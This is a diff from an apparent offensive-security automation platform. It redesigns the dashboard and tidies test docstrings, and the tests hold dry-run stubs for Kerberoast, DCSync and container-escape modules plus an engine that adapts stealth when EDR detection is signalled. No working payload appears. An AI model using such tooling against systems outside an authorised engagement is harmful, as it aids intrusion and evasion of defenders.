size={14} />+ <span>New Campaign</span>+ </button>+ <button+ type="button"+ className="btn text-xs flex items-center gap-1.5"+ onClick={() => navigate("/modules")}+ title="Browse validation module catalog"+ >+ <Layers size={14} />+ <span>Module Catalog</span>+ </button>+ <button+ type="button"+ className="btn text-xs flex items-center gap-1.5"+ onClick={() => navigate("/live")}+ title="Open real-time event telemetry stream"+ >+ <Radio size={14} />+ <span>Live Stream</span>+ </button>+ </div>+ );return (- <Page title="Overview" subtitle={overviewSubtitle}>- <div className="dashboard-grid">- <TelemetryPanel snapshot={snapshot} loading={telemetry.isLoading} confirmedFindings={findings} />- <div className="side-stack">- <section className="panel-subtle">- <SectionHeader title="Highlights" />- <div className="highlight-list">- {runningCount > 0 ? (- <HighlightRow- label="Engagement Posture"- value={`${runningCount} Running`}- tone="low"- detail={selectedCampaign ? `${selectedCampaign.name} actively executing validation modules` : `${runningCount} engagement${runningCount === 1 ? "" : "s"} actively executing validation modules`}- />- ) : selectedCampaign ? (- <HighlightRow- label="Engagement Posture"- value={selectedCampaign.status ? selectedCampaign.status.toUpperCase() : "STAGED"}- tone="neutral"- detail={`Isolated campaign: ${selectedCampaign.name} (${selectedCampaign.targets?.length ?? 0} targets)`}- />- ) : trackedCount > 0 ? (- <HighlightRow- label="Engagement Posture"- value="Staged"- tone="neutral"- detail={- trackedCount === 1- ? "1 campaign in scope - awaiting execution run"- : `${trackedCount} campaigns in scope - awaiting execution run`- }- />- ) : (- <HighlightRow- label="Engagement Posture"- value="Standby"- tone="neutral"- detail="No active engagements"- />- )}+ <Page title="Overview" subtitle={overviewSubtitle} actions={quickActions}>+ <div className="overview-shell">+ {/* Tier 1: Executive Telemetry HUD */}+ <div className="hud-bento-grid">+ {/* Card 1: Active Engagements */}+ <div className="hud-bezel-card">+ <div className="hud-bezel-inner">+ <div className="hud-card-header">+ <span className="hud-card-title">Active Engagements</span>+ </div>+ <div className="hud-card-value">+ {trackedCount}+ </div>+ <div className="hud-card-footer">+ <span className="hud-context-text">+ {runningCount > 0+ ? `${runningCount} active execution${runningCount > 1 ? "s" : ""}`+ : trackedCount > 0+ ? "Staged readiness"+ : "Standby"}+ </span>+ </div>+ </div>+ </div>- {failedRuns > 0 ? (- <HighlightRow- label="Execution Health"- value={`${failedRuns} Failed`}- tone="high"- detail={`${formatRate(errorRate)} module failure rate detected`}- />- ) : snapshot ? (- <HighlightRow- label="Execution Health"- value="Nominal"- tone="low"- detail="Zero module execution errors recorded"- />- ) : (- <HighlightRow- label="Execution Health"- value="Standby"- tone="neutral"- detail="Awaiting telemetry sample ingestion"- />- )}+ {/* Card 2: Validated Findings */}+ <div className="hud-bezel-card">+ <div className="hud-bezel-inner">+ <div className="hud-card-header">+ <span className="hud-card-title">Validated Findings</span>+ </div>+ <div className="hud-card-value">+ {formatMetric(findings)}+ </div>+ <div className="hud-card-footer">+ <span className="hud-context-text">+ {findings > 0 ? "Confirmed security vulnerabilities" : "No vulnerabilities detected"}+ </span>+ </div>+ </div>+ </div>- {hostsDiscovered > 0 ? (- <HighlightRow- label="Attack Surface"- value={`${hostsDiscovered} Mapped`}- tone={hostsOwned && hostsOwned > 0 ? "high" : "low"}- detail={hostsOwned && hostsOwned > 0 ? `${hostsOwned} targets owned` : "Perimeter discovered, 0 targets owned"}- />- ) : (- <HighlightRow- label="Attack Surface"- value="Unmapped"- tone="neutral"- detail="Run recon modules to map attack surface"- />- )}+ {/* Card 3: Attack Surface */}+ <div className="hud-bezel-card">+ <div className="hud-bezel-inner">+ <div className="hud-card-header">+ <span className="hud-card-title">Attack Surface</span>+ </div>+ <div className="hud-card-value">+ {hostsDiscovered > 0 ? hostsDiscovered : "0"} <span className="text-xs font-normal text-zinc-400 font-sans">hosts</span>+ </div>+ <div className="hud-card-footer">+ <span className="hud-context-text">+ {hostsOwned !== null && hostsOwned > 0+ ? `${hostsOwned} compromise targets`+ : "Perimeter mapped"}+ </span>+ </div></div>- </section>+ </div>- <section className="panel-subtle">- <SectionHeader title="Monthly Statistics" />- <div className="monthly-stat">- <span>{formatMetric(monthlyTotal)}</span>- <small>{monthlyData?.label ?? "Security signals this cycle"}</small>+ {/* Card 4: Engine Health */}+ <div className="hud-bezel-card">+ <div className="hud-bezel-inner">+ <div className="hud-card-header">+ <span className="hud-card-title">Engine Health</span>+ </div>+ <div className="hud-card-value">+ {p95 !== null ? `${formatMetric(p95)} ms` : isIngestionActive ? "Nominal" : "Standby"}+ </div>+ <div className="hud-card-footer">+ <span className="hud-context-text">+ {activeWorkers} workers online · {queueDepth} queued+ </span>+ </div></div>- {monthlyStats.isPending ? <p className="text-sm text-zinc-400">Loading monthly activity...</p> : null}- {monthlyStats.isError ? <p className="text-sm text-zinc-400">Monthly activity unavailable.</p> : null}- {!monthlyStats.isPending && !monthlyStats.isError && monthlyTotal === 0 ? (- <p className="text-sm text-zinc-400">No monthly activity yet</p>- ) : null}- {!monthlyStats.isPending && !monthlyStats.isError && monthlyTotal > 0 && monthlySeries.some((value) => value.count > 0) ? (- <SparklineBars values={monthlySeries} />- ) : null}- </section>+ </div>+ </div>++ {/* Tier 2: Operational Telemetry (Clean 50/50 Balanced Grid) */}+ <div className="workstation-split">+ {/* Panel 1: Execution & Queue Telemetry */}+ <div className="overview-content-card">+ <div>+ <div className="flex items-center justify-between">+ <span className="text-[11px] font-mono uppercase tracking-wider text-zinc-400">+ Execution Telemetry+ </span>+ <span className="font-mono text-[11px] text-zinc-500">+ {snapshot?.timestamp ? formatReportTime(snapshot.timestamp) : "Standby"}+ </span>+ </div>++ <div className="pulse-stat-grid mt-3">+ <div className="pulse-stat-cell">+ <div className="pulse-stat-label">Task Queue</div>+ <div className="pulse-stat-value">+ {queueDepth} <span className="text-xs font-normal text-zinc-400 font-sans">queued</span>+ </div>+ </div>+ <div className="pulse-stat-cell">+ <div className="pulse-stat-label">Module Runs</div>+ <div className="pulse-stat-value">+ {totalRuns} <span className="text-xs font-normal text-zinc-400 font-sans">({successRuns} ok)</span>+ </div>+ </div>+ <div className="pulse-stat-cell">+ <div className="pulse-stat-label">Failure Rate</div>+ <div className={`pulse-stat-value ${failedRuns > 0 ? "text-rose-400" : "text-zinc-200"}`}>+ {formatRate(errorRate)}+ </div>+ </div>+ <div className="pulse-stat-cell">+ <div className="pulse-stat-label">Worker Pool</div>+ <div className="pulse-stat-value text-emerald-400">+ {activeWorkers} <span className="text-xs font-normal text-zinc-400 font-sans">active</span>+ </div>+ </div>+ </div>+ </div>++ <div className="flex items-center gap-2 pt-2 border-t border-zinc-800/60">+ <button+ type="button"+ className="btn btn-compact text-xs flex items-center gap-1.5"+ onClick={() => navigate("/modules")}+ title="Browse validation module catalog"+ >+ <Terminal size={13} />+ <span>Run Modules</span>+ </button>+ <button+ type="button"+ className="btn btn-compact text-xs flex items-center gap-1.5"+ onClick={() => navigate("/graph")}+ title="Open attack relationship graph"+ >+ <Crosshair size={13} />+ <span>Attack Graph</span>+ </button>+ <button+ type="button"+ className="btn btn-compact text-xs flex items-center gap-1.5 ml-auto"+ onClick={() => navigate("/reports")}+ title="View compliance and engagement reports"+ >+ <ShieldCheck size={13} />+ <span>Reports</span>+ </button>+ </div>+ </div>++ {/* Panel 2: Activity Pulse & Signals */}+ <div className="overview-content-card">+ <div>+ <div className="flex items-center justify-between">+ <span className="text-[11px] font-mono uppercase tracking-wider text-zinc-400">+ Activity Pulse+ </span>+ <span className="font-mono text-[11px] text-zinc-300">+ {monthlyTotal} signals total+ </span>+ </div>+ <div className="mt-3">+ {monthlySeries.some((value) => value.count > 0) ? (+ <SparklineBars values={monthlySeries} />+ ) : (+ <div className="h-24 flex items-center justify-center text-xs text-zinc-400 bg-zinc-950/40 rounded border border-dashed border-zinc-800">+ Awaiting operational signal telemetry+ </div>+ )}+ </div>+ </div>++ <div className="flex items-center justify-between text-xs text-zinc-400 pt-2 border-t border-zinc-800/60 font-mono text-[11px]">+ <span>Telemetry: {isIngestionActive ? "Ingestion Active" : "Standby"}</span>+ <span>{hostsDiscovered} hosts mapped</span>+ </div>+ </div></div>++ {/* Tier 3: Campaign Inventory Matrix */}+ <CampaignTable+ campaigns={selectedCampaign ? [selectedCampaign] : campaignList}+ scopedCampaignId={selectedCampaignId}+ onClearScope={() => setSelectedCampaignId("")}+ onSelectCampaign={(id) => setSelectedCampaignId(id)}+ /></div>- <CampaignTable- campaigns={selectedCampaign ? [selectedCampaign] : campaignList}- scopedCampaignId={selectedCampaignId}- onClearScope={() => setSelectedCampaignId("")}- onSelectCampaign={(id) => setSelectedCampaignId(id)}- /></Page>);}@@ -4172,7 +4306,7 @@ function CampaignTable({{campaigns.map((campaign, index) => (<trkey={campaign.id}- className={onSelectCampaign ? "cursor-pointer hover:bg-zinc-900/60 transition-colors" : ""}+ className={`campaign-table-row ${campaign.id === scopedCampaignId ? "is-selected" : ""} ${onSelectCampaign ? "cursor-pointer" : ""}`}onClick={() => onSelectCampaign?.(campaign.id)}title={onSelectCampaign ? `Filter dashboard to ${campaign.name}` : undefined}>diff --git a/frontend/src/features/graph/GraphPage.tsx b/frontend/src/features/graph/GraphPage.tsxindex 35fcead..5330f1b 100644--- a/frontend/src/features/graph/GraphPage.tsx+++ b/frontend/src/features/graph/GraphPage.tsx@@ -1340,7 +1340,7 @@ export default function GraphPage({<div className="cobalt-dialog-overlay" onClick={() => setShowHelpDialog(false)}><div className="cobalt-dialog-window" style={{ width: "680px" }} onClick={(e) => e.stopPropagation()}><div className="cobalt-dialog-titlebar">- <span>Cobalt Strike C2 — Operator Reference & Help Manual</span>+ <span>Cobalt Strike C2 - Operator Reference & Help Manual</span><button className="cobalt-win-btn close" onClick={() => setShowHelpDialog(false)} type="button">✕</button></div><div className="cobalt-dialog-body">diff --git a/frontend/src/features/graph/graphCobalt.css b/frontend/src/features/graph/graphCobalt.cssindex 27c225e..160e618 100644--- a/frontend/src/features/graph/graphCobalt.css+++ b/frontend/src/features/graph/graphCobalt.css@@ -236,7 +236,7 @@overflow: hidden;}-/* CRT Scanline Overlay — Industrial-Brutalist requirement */+/* CRT Scanline Overlay - Industrial-Brutalist requirement */.cobalt-canvas-area::before {content: "";position: absolute;diff --git a/frontend/src/styles.css b/frontend/src/styles.cssindex d683d66..bb75187 100644--- a/frontend/src/styles.css+++ b/frontend/src/styles.css@@ -6,7 +6,7 @@color: #f4f4f5;background: #09090b;font-family:- 'Space Grotesk', system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", sans-serif;+ 'Plus Jakarta Sans', system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;font-synthesis: none;text-rendering: optimizeLegibility;}@@ -20,8 +20,8 @@ body {min-width: 320px;background: #09090b;color: #f4f4f5;- font-family: 'Space Grotesk', system-ui, -apple-system, sans-serif;- letter-spacing: -0.012em;+ font-family: 'Plus Jakarta Sans', system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;+ letter-spacing: -0.01em;-webkit-font-smoothing: antialiased;}@@ -1718,6 +1718,167 @@ textarea.field {text-align: right;}+/* -- Mission Control HUD & Adversary Pipeline (Anti-Slop Double-Bezel) -- */++.overview-shell {+ display: flex;+ flex-direction: column;+ gap: 1.25rem;+}++.overview-quick-actions {+ display: flex;+ align-items: center;+ gap: 0.5rem;+ flex-wrap: wrap;+}++.hud-bento-grid {+ display: grid;+ grid-template-columns: repeat(4, minmax(0, 1fr));+ gap: 0.85rem;+}++@media (max-width: 1024px) {+ .hud-bento-grid {+ grid-template-columns: repeat(2, minmax(0, 1fr));+ }+}++@media (max-width: 640px) {+ .hud-bento-grid {+ grid-template-columns: 1fr;+ }+}++/* Double-Bezel Architecture */+.hud-bezel-card {+ position: relative;+ background: rgba(255, 255, 255, 0.02);+ border: 1px solid rgba(255, 255, 255, 0.07);+ border-radius: 8px;+ padding: 2px;+ transition: border-color 160ms ease;+}++.hud-bezel-card:hover {+ border-color: rgba(255, 255, 255, 0.12);+}++.hud-bezel-inner {+ background: #111114;+ border-radius: 6px;+ padding: 1.15rem 1.25rem;+ display: flex;+ flex-direction: column;+ justify-content: space-between;+ min-height: 106px;+}++.hud-card-title {+ color: #71717a;+ font-size: 0.76rem;+ font-weight: 600;+ text-transform: uppercase;+ letter-spacing: 0.04em;+}++.hud-card-value {+ color: #f4f4f5;+ font-size: 1.75rem;+ font-weight: 700;+ letter-spacing: -0.025em;+ line-height: 1.15;+ margin: 0.35rem 0;+}++.hud-card-footer {+ display: flex;+ align-items: center;+ gap: 0.5rem;+ font-size: 0.78rem;+ color: #a1a1aa;+}++.hud-context-text {+ font-size: 0.76rem;+ color: #71717a;+ font-weight: 500;+ white-space: nowrap;+ overflow: hidden;+ text-overflow: ellipsis;+}++/* Tier 2 Workstation: Clean 50/50 Grid */+.workstation-split {+ display: grid;+ grid-template-columns: repeat(2, minmax(0, 1fr));+ gap: 1rem;+}++@media (max-width: 900px) {+ .workstation-split {+ grid-template-columns: 1fr;+ }+}++.overview-content-card {+ background: #111114;+ border: 1px solid rgba(255, 255, 255, 0.07);+ border-radius: 8px;+ padding: 1.25rem;+ display: flex;+ flex-direction: column;+ justify-content: space-between;+ gap: 1rem;+}++.pulse-stat-grid {+ display: grid;+ grid-template-columns: repeat(2, minmax(0, 1fr));+ gap: 0.75rem;+}++.pulse-stat-cell {+ background: rgba(255, 255, 255, 0.02);+ border: 1px solid rgba(255, 255, 255, 0.05);+ border-radius: 6px;+ padding: 0.85rem;+}++.pulse-stat-label {+ font-size: 0.72rem;+ color: #71717a;+ font-weight: 600;+ text-transform: uppercase;+ letter-spacing: 0.03em;+}++.pulse-stat-value {+ margin-top: 0.3rem;+ font-size: 1.05rem;+ font-weight: 700;+ color: #f4f4f5;+}++/* Tier 3 Table enhancements */+.campaign-table-row {+ cursor: pointer;+ transition: background 120ms ease;+}++.campaign-table-row:hover {+ background: rgba(255, 255, 255, 0.035);+}++.campaign-table-row.is-selected {+ background: rgba(255, 255, 255, 0.05);+}++.campaign-table-row.is-selected td:first-child {+ border-left: 2px solid #f4f4f5;+}+.table-panel {overflow: hidden;padding: 0.85rem;@@ -2452,10 +2613,10 @@ textarea.field {/* ==========================================================================Login Page Animations- Each animation is motivated — see inline rationale.+ Each animation is motivated - see inline rationale.========================================================================== */-/* Entry stagger — communicates hierarchy: brand → copy → pillars → card */+/* Entry stagger - communicates hierarchy: brand → copy → pillars → card */@keyframes loginSlideFade {0% { opacity: 0; transform: translateY(12px); }100% { opacity: 1; transform: translateY(0); }@@ -2465,7 +2626,7 @@ textarea.field {animation: loginSlideFade 0.5s cubic-bezier(0.16, 1, 0.3, 1) both;}-/* Status beacon — communicates "live": DAG engine is running, not static */+/* Status beacon - communicates "live": DAG engine is running, not static */@keyframes beaconPulse {0%, 100% { opacity: 1; transform: scale(1); }50% { opacity: 0.4; transform: scale(1.2); }@@ -2475,7 +2636,7 @@ textarea.field {animation: beaconPulse 2.4s ease-in-out infinite;}-/* Ambient breathe — communicates the system is active, not idle.+/* Ambient breathe - communicates the system is active, not idle.Slow enough (9s) to be subliminal, not distracting. */@keyframes aresBreathe {0%, 100% { opacity: 0.5; transform: scale(0.96); }@@ -2531,7 +2692,7 @@ textarea.field {}/* ─────────────────────────────────────────────────────────────────────────────- ARES SIGNATURE INTERACTION — Crimson Plasma Shockwave+ ARES SIGNATURE INTERACTION - Crimson Plasma ShockwaveTriggered imperatively from AresIgniteButton on mousedown.The spawned <span> reads this keyframe by name via inline style.────────────────────────────────────────────────────────────────────────────── */@@ -2564,7 +2725,7 @@ textarea.field {}}-/* Hover: laser-sweep border — crimson line travels the full perimeter once */+/* Hover: laser-sweep border - crimson line travels the full perimeter once */.ares-ignite-idle {position: relative;}@@ -2607,7 +2768,7 @@ textarea.field {100% { transform: rotate(360deg); opacity: 0; }}-/* Loading state: slow crimson perimeter pulse — system is active */+/* Loading state: slow crimson perimeter pulse - system is active */.ares-ignite-loading {position: relative;animation: aresLoadingPulse 1.6s ease-in-out infinite;diff --git a/frontend/tailwind.config.ts b/frontend/tailwind.config.tsindex e6a9d40..2a46c74 100644--- a/frontend/tailwind.config.ts+++ b/frontend/tailwind.config.ts@@ -5,7 +5,7 @@ export default {theme: {extend: {fontFamily: {- sans: ["'Space Grotesk'", "system-ui", "-apple-system", "sans-serif"],+ sans: ["'Plus Jakarta Sans'", "system-ui", "-apple-system", "BlinkMacSystemFont", "'Segoe UI'", "Roboto", "sans-serif"],mono: ["'JetBrains Mono'", "ui-monospace", "monospace"]},colors: {diff --git a/tests/conftest.py b/tests/conftest.pyindex 77ad75a..7d97fb4 100644--- a/tests/conftest.py+++ b/tests/conftest.py@@ -1,5 +1,5 @@"""-ARES test suite — conftest.py+ARES test suite - conftest.pyShared pytest fixtures, PYTHONPATH bootstrap, and async configuration.Auto-discovered by pytest. All fixtures are available to every test file."""@@ -25,7 +25,7 @@ if str(_REPO_ROOT) not in sys.path:import tempfile# ── Required env vars for AresSettings ───────────────────────────────────────-# AresSettings has Field(...) on secret_key and encryption_key — no defaults.+# AresSettings has Field(...) on secret_key and encryption_key - no defaults.# Setting these at module level guarantees test collection never crashes when# a test file imports ares.api.server or calls get_settings() at module import time.os.environ.setdefault("ARES_SECRET_KEY", "test-secret-key-min-32-chars-placeholder!!")@@ -213,7 +213,7 @@ def goal_engine():mock_registry.__iter__ = lambda self: iter([])mock_registry.all.return_value = [] # ModuleRegistry uses .all() not .all_modules()mock_registry.get.return_value = None- # CapabilityGraph.from_registry is called in __init__ — mock it+ # CapabilityGraph.from_registry is called in __init__ - mock itwith __import__("unittest.mock", fromlist=["patch"]).patch("ares.goal.engine.CapabilityGraph.from_registry",return_value=MagicMock()diff --git a/tests/integration/test_api_post.py b/tests/integration/test_api_post.pyindex 28dd89d..3593e91 100644--- a/tests/integration/test_api_post.py+++ b/tests/integration/test_api_post.py@@ -1,5 +1,5 @@"""-ARES API Integration Tests — POST body endpoints.+ARES API Integration Tests - POST body endpoints.Uses full FastAPI lifespan with an in-memory SQLite database.Tests JSON body parsing, business logic, and DB persistence end-to-end@@ -9,14 +9,14 @@ Each test class creates its own TestClient to avoid lru_cache(get_settings)cross-contamination when run in the same process as unit tests.Coverage:- POST /auth/token (form) — login, get tokens- POST /auth/refresh — refresh token rotation- POST /auth/register — register new user- POST /auth/change-password — password change- POST /campaigns — create campaign + DB persist- POST /campaigns/{id}/run (body) — run plan (dry_run=True)- GET /campaigns/{id} — verify persist after POST- GET /campaigns/{id}/findings — findings list+ POST /auth/token (form) - login, get tokens+ POST /auth/refresh - refresh token rotation+ POST /auth/register - register new user+ POST /auth/change-password - password change+ POST /campaigns - create campaign + DB persist+ POST /campaigns/{id}/run (body) - run plan (dry_run=True)+ GET /campaigns/{id} - verify persist after POST+ GET /campaigns/{id}/findings - findings listSecurity headers on POST responsesRun: pytest tests/integration/test_api_post.py -v --timeout=30@@ -67,7 +67,7 @@ def _fresh_client() -> TestClient:Called once per test class so lru_cache doesn't bleed from unit tests."""from ares.core.config import get_settings- get_settings.cache_clear() # clear lru_cache — force re-read from env+ get_settings.cache_clear() # clear lru_cache - force re-read from envfrom ares.api.server import appreturn TestClient(app, base_url="http://localhost:5173", raise_server_exceptions=False)diff --git a/tests/integration/test_campaign.py b/tests/integration/test_campaign.pyindex 1621ac6..e985719 100644--- a/tests/integration/test_campaign.py+++ b/tests/integration/test_campaign.py@@ -50,7 +50,7 @@ def enc_key() -> bytes:# ── Stub modules for integration ──────────────────────────────────────────────class StubEnumUsersModule(BaseModule):- """Stub AD user enumeration — returns fake users for integration tests."""+ """Stub AD user enumeration - returns fake users for integration tests."""MODULE_ID = "ad.enum_users"MODULE_NAME = "AD User Enumeration"MODULE_CATEGORY = "ad"@@ -87,7 +87,7 @@ class StubEnumUsersModule(BaseModule):module_id = self.MODULE_ID,execution_id = ctx.execution_id,)- raise NotImplementedError("Integration stub — dry_run only")+ raise NotImplementedError("Integration stub - dry_run only")class StubKerberoastModule(BaseModule):@@ -534,7 +534,7 @@ class TestEndToEndCampaignSimulation:@pytest.mark.asyncioasync def test_account_locked_stops_campaign(self, campaign) -> None:- """Simulates account lockout — engine behavior should abort."""+ """Simulates account lockout - engine behavior should abort."""from ares.core.errors import AccountLocked, resolve_action, AresErrordef simulate_lockout():diff --git a/tests/simulation/test_scenarios.py b/tests/simulation/test_scenarios.pyindex 0d9377e..02ef1a4 100644--- a/tests/simulation/test_scenarios.py+++ b/tests/simulation/test_scenarios.py@@ -1,7 +1,7 @@"""ARES Simulation TestsEnd-to-end campaign simulations using dry_run=True.-No real network calls — verifies the full automation logic:+No real network calls - verifies the full automation logic:Engine → GoalEngine → ModuleRegistry → Module → ModuleResult → StateUpdateThese tests prove:@@ -110,7 +110,7 @@ class StubKerberoastModule(BaseModule):if ctx.dry_run:f = self.finding(title="[DRY RUN] Kerberoastable SPN",- description="Simulated kerberoast — svc_sql",+ description="Simulated kerberoast - svc_sql",severity=Severity.HIGH,mitre_technique="T1558.003",host=ctx.target,@@ -141,8 +141,8 @@ class StubDCSyncModule(BaseModule):async def execute(self, ctx: ExecutionContext) -> ModuleResult:if ctx.dry_run:f = self.finding(- title="[DRY RUN] DCSync — all hashes",- description="Simulated DCSync — retrieved 150 hashes",+ title="[DRY RUN] DCSync - all hashes",+ description="Simulated DCSync - retrieved 150 hashes",severity=Severity.CRITICAL,mitre_technique="T1003.006",host=ctx.target,@@ -256,7 +256,7 @@ class TestScenario01BasicADChain:module_id="ad.kerberoast", domain="CORP",dry_run=True,)- # No exception even with public IP — dry_run bypasses scope+ # No exception even with public IP - dry_run bypasses scoperesult = await module.execute(ctx)assert result.success@@ -499,11 +499,11 @@ class TestScenario05GuardrailEnforcement:def test_simulate_dangerous_module_gate(self) -> None:from ares.knowledge import CampaignGuardrailg = CampaignGuardrail(["10.0.0.0/8"])- # DCSync without confirmation — blocked+ # DCSync without confirmation - blockedok1, msg1 = g.check("ad.dcsync", "10.0.0.1", confirmed=False)assert not ok1assert "HIGH-RISK" in msg1- # After confirmation — allowed+ # After confirmation - allowedg.confirm_dangerous("ad.dcsync", "10.0.0.1")ok2, _ = g.check("ad.dcsync", "10.0.0.1", confirmed=True)assert ok2@@ -808,7 +808,7 @@ class TestScenario10MultiOperatorCollaboration:ok1, lock1 = mgr.acquire_lock(op1.operator_id, "10.0.0.1", "ad.kerberoast")assert ok1- # Op2 tries same target+module — locked+ # Op2 tries same target+module - lockedok2, msg2 = mgr.acquire_lock(op2.operator_id, "10.0.0.1", "ad.kerberoast")assert not ok2assert "locked" in msg2.lower()diff --git a/tests/unit/core/test_core.py b/tests/unit/core/test_core.pyindex fe90619..7ba5759 100644--- a/tests/unit/core/test_core.py+++ b/tests/unit/core/test_core.py@@ -32,7 +32,7 @@ class TestCampaign:assert c.is_in_scope("10.0.1.1") is Falsedef test_scope_guard_no_scope_denies_all(self):- """No scope = deny all — safe default."""+ """No scope = deny all - safe default."""c = Campaign(name="T")assert c.is_in_scope("10.0.0.1") is Falsediff --git a/tests/unit/db/test_database.py b/tests/unit/db/test_database.pyindex bcaf64c..f787716 100644--- a/tests/unit/db/test_database.py+++ b/tests/unit/db/test_database.py@@ -1,4 +1,4 @@-"""Tests for ARES v6 — DB layer, plugin loader, and report generation.+"""Tests for ARES v6 - DB layer, plugin loader, and report generation.Note: AresEngine tests are in tests/unit/test_engine.py"""diff --git a/tests/unit/modules/test_modules.py b/tests/unit/modules/test_modules.pyindex 8f628f9..6a5771c 100644--- a/tests/unit/modules/test_modules.py+++ b/tests/unit/modules/test_modules.py@@ -52,7 +52,7 @@ class TestContainerEscape:with patch("builtins.open", create=True) as mock_open:mock_open.return_value.__enter__.return_value.read.return_value = fake_statusresult = await module._check_privileged()- # Not fully privileged (not 0x3FFFFFFFFF) — just a check the method runs+ # Not fully privileged (not 0x3FFFFFFFFF) - just a check the method runsassert "CapEff" in result or "error" in result@pytest.mark.asynciodiff --git a/tests/unit/test_adaptive_opsec.py b/tests/unit/test_adaptive_opsec.pyindex 5d00ba9..9b93a5b 100644--- a/tests/unit/test_adaptive_opsec.py+++ b/tests/unit/test_adaptive_opsec.py@@ -1,5 +1,5 @@"""-Unit tests — AdaptiveOpsecEngine (ares/core/opsec/adaptive.py)+Unit tests - AdaptiveOpsecEngine (ares/core/opsec/adaptive.py)Every detection signal type and every response action is tested.Also tests thresholds, sliding window, blacklist expiry, and edge cases.@@ -61,14 +61,14 @@ class TestSignalRegistration:def test_signal_returns_empty_list_below_threshold(self):engine = make_engine(timeout_threshold=3)result = engine.signal(DetectionLevel.TIMEOUT, host="10.0.0.1")- # Only 1 timeout, threshold is 3 — no adaptations yet+ # Only 1 timeout, threshold is 3 - no adaptations yetassert result == []def test_multiple_signal_types(self):engine = make_engine()for sig in DetectionLevel:engine.signal(sig, host="10.0.0.1", username="test")- # No assertion on count — just verify no crash+ # No assertion on count - just verify no crash# ══════════════════════════════════════════════════════════════════════════════@@ -93,7 +93,7 @@ class TestTimeoutRule:adaptations = engine.signal(DetectionLevel.TIMEOUT, host="10.0.0.1")escalations = [a for a in adaptations if a.action == ResponseAction.ESCALATE_PROFILE]if escalations:- # stealth is already max — stays stealth+ # stealth is already max - stays stealthassert escalations[0].new_profile == "stealth"def test_jitter_increases_with_timeout(self):@@ -112,7 +112,7 @@ class TestTimeoutRule:engine = make_engine(timeout_threshold=2, window_s=0.1)engine.signal(DetectionLevel.TIMEOUT, host="10.0.0.1")time.sleep(0.2) # let them expire- # New signal — count should be 1, below threshold 2+ # New signal - count should be 1, below threshold 2adaptations = engine.signal(DetectionLevel.TIMEOUT, host="10.0.0.1")assert not any(a.action == ResponseAction.ESCALATE_PROFILE for a in adaptations)@@ -287,7 +287,7 @@ class TestAdaptationTracking:def test_next_stealth_profile_from_stealth(self):engine = make_engine(current_profile="stealth")- # Already at max — stays stealth+ # Already at max - stays stealthassert engine._next_stealth_profile() == "stealth"diff --git a/tests/unit/test_api_endpoints.py b/tests/unit/test_api_endpoints.pyindex 70fd1a8..09a15a2 100644--- a/tests/unit/test_api_endpoints.py+++ b/tests/unit/test_api_endpoints.py@@ -1,5 +1,5 @@"""-API endpoint tests — auth, RBAC, pagination, security headers.+API endpoint tests - auth, RBAC, pagination, security headers.Approach: httpx.ASGITransport + dependency_overrides (no lifespan needed).- base_url="http://localhost" passes TrustedHostMiddleware@@ -709,7 +709,7 @@ class TestAuthFlow:@pytest.mark.asyncioasync def test_login_invalid_credentials_returns_401(self, aclient):- """Login with mocked OAuth2PasswordRequestForm — invalid creds → 401."""+ """Login with mocked OAuth2PasswordRequestForm - invalid creds → 401."""c, db, _app = aclient_reset_rate_limiter()db.verify_user.return_value = None@@ -730,7 +730,7 @@ class TestAuthFlow:@pytest.mark.asyncioasync def test_login_valid_credentials_returns_tokens(self, aclient):- """Login with mocked OAuth2PasswordRequestForm — valid creds → 200 + tokens."""+ """Login with mocked OAuth2PasswordRequestForm - valid creds → 200 + tokens."""c, db, _app = aclient_reset_rate_limiter()db.create_login_session.return_value = _issued_session()@@ -1287,7 +1287,7 @@ class TestRBACEnforcement:@pytest.mark.asyncioasync def test_security_audit_requires_team_lead(self, aclient):- """GET /security/audit — operator role → 403."""+ """GET /security/audit - operator role → 403."""c, db, _ = aclientdb.is_access_token_revoked.return_value = Falser = await c.get("/security/audit", headers=_auth("op_user", "operator"))@@ -1295,7 +1295,7 @@ class TestRBACEnforcement:@pytest.mark.asyncioasync def test_security_audit_accessible_to_team_lead(self, aclient):- """GET /security/audit — team_lead → 200."""+ """GET /security/audit - team_lead → 200."""c, db, _ = aclient_reset_rate_limiter()db.is_access_token_revoked.return_value = False@@ -1885,7 +1885,7 @@ class TestHighNoiseAuthorizationPolicy:assert exc_info.value.status_code == 403assert exc_info.value.detail == (- "'plugin.dynamic-high' is HIGH_NOISE — team_lead only."+ "'plugin.dynamic-high' is HIGH_NOISE - team_lead only.")def test_shared_policy_allows_team_lead_for_high_noise_module(self) -> None:@@ -1936,7 +1936,7 @@ class TestHighNoiseAuthorizationPolicy:detail = str(exc_info.value.detail)assert detail == ("'plugin.alpha-high', 'plugin.zeta-high' "- "are HIGH_NOISE — team_lead only."+ "are HIGH_NOISE - team_lead only.")assert [call.args[0] for call in engine.registry.get.call_args_list] == ["plugin.alpha-high",diff --git a/tests/unit/test_cli_reporting_goal_planning.py b/tests/unit/test_cli_reporting_goal_planning.pyindex 0866646..9055dd5 100644--- a/tests/unit/test_cli_reporting_goal_planning.py+++ b/tests/unit/test_cli_reporting_goal_planning.py@@ -1,5 +1,5 @@"""-Round 3 tests — covers the 5 priority features:+Round 3 tests - covers the 5 priority features:1. CLI end-to-end (campaign CRUD, pause/resume, target import)2. Reporting (ReportGenerator JSON/HTML/MD, context builder)3. Attack Chain (DependencyResolver, CapabilityResolver, ChainAdvisor)@@ -642,7 +642,7 @@ class TestDashboardApp:with self._authenticated_dashboard(mock_db) as headers, \patch("ares.api.dashboard.app.dashboard_app.state", mock_state):r = client.get("/api/campaigns", headers=headers)- # Either 200 with data or 500 if DB init fails — both are valid+ # Either 200 with data or 500 if DB init fails - both are validassert r.status_code in (200, 500)def test_api_findings_with_campaign_id(self, client):@@ -820,7 +820,7 @@ class TestGoalEngine:def test_check_goal_achieved_empty_session(self):from ares.goal.engine import Goalengine = self._make_engine()- # Fresh session — goal not achieved+ # Fresh session - goal not achievedassert engine.check_goal_achieved(Goal.DOMAIN_ADMIN) is Falsedef test_check_initial_access_with_owned_host(self):@@ -1081,7 +1081,7 @@ class TestAdaptiveStrategy:session = OperatorSession(campaign_id="test")engine = AdaptiveStrategy(session=session)- hints = engine.strategy_hints("access is denied — EDR blocked service creation")+ hints = engine.strategy_hints("access is denied - EDR blocked service creation")assert isinstance(hints, list)def 